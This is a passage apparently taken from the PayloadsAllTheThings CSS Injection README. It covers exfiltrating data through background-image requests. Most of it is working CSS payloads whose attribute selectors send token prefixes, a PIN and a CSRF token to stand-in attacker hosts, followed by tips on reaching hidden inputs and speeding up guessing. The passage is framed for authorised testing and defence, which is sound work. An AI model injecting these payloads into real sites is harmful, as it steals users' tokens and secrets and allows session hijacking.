CSS Injection · passage 3 of 9

Exfiltration via Background Image

4 code blocks · CSS Injection/README.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

When a selector matches, the browser attempts to load the background image from a URL controlled by the attacker, thereby leaking the character.

input[value^="TOKEN_012"] {
  background-image: url(http://attacker.example.com/?prefix=TOKEN_012);
}

input[name="pin"][value="1234"] {
  background: url(https://[ATTACKER.DOMAIN.TLD]/log?pin=1234);
}

**Tips:** * **Hidden Inputs**: You cannot apply a background image directly to a hidden input field. Instead, use a sibling selector (`+` or `~`) to style a visible element that appears after the hidden input.

input[name="csrf-token"][value^="a"] + input {
  background: url(https://[ATTACKER.DOMAIN.TLD]/?q=a)
}

* **Has Selector**: The `:has()` pseudo-class allows styling a parent element based on its children.

div:has(input[value="1337"]) {
  background:url(/collectData?value=1337);
}

* **Concurrency**: Use both prefix and suffix selectors to speed up the guessing process. You can assign the prefix check to one property (e.g., `background`) and the suffix check to another (e.g., `list-style-image` or `border-image`).

Every one of the 9 is a mark on the map. Named now: 1 to 9, reading order first.

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.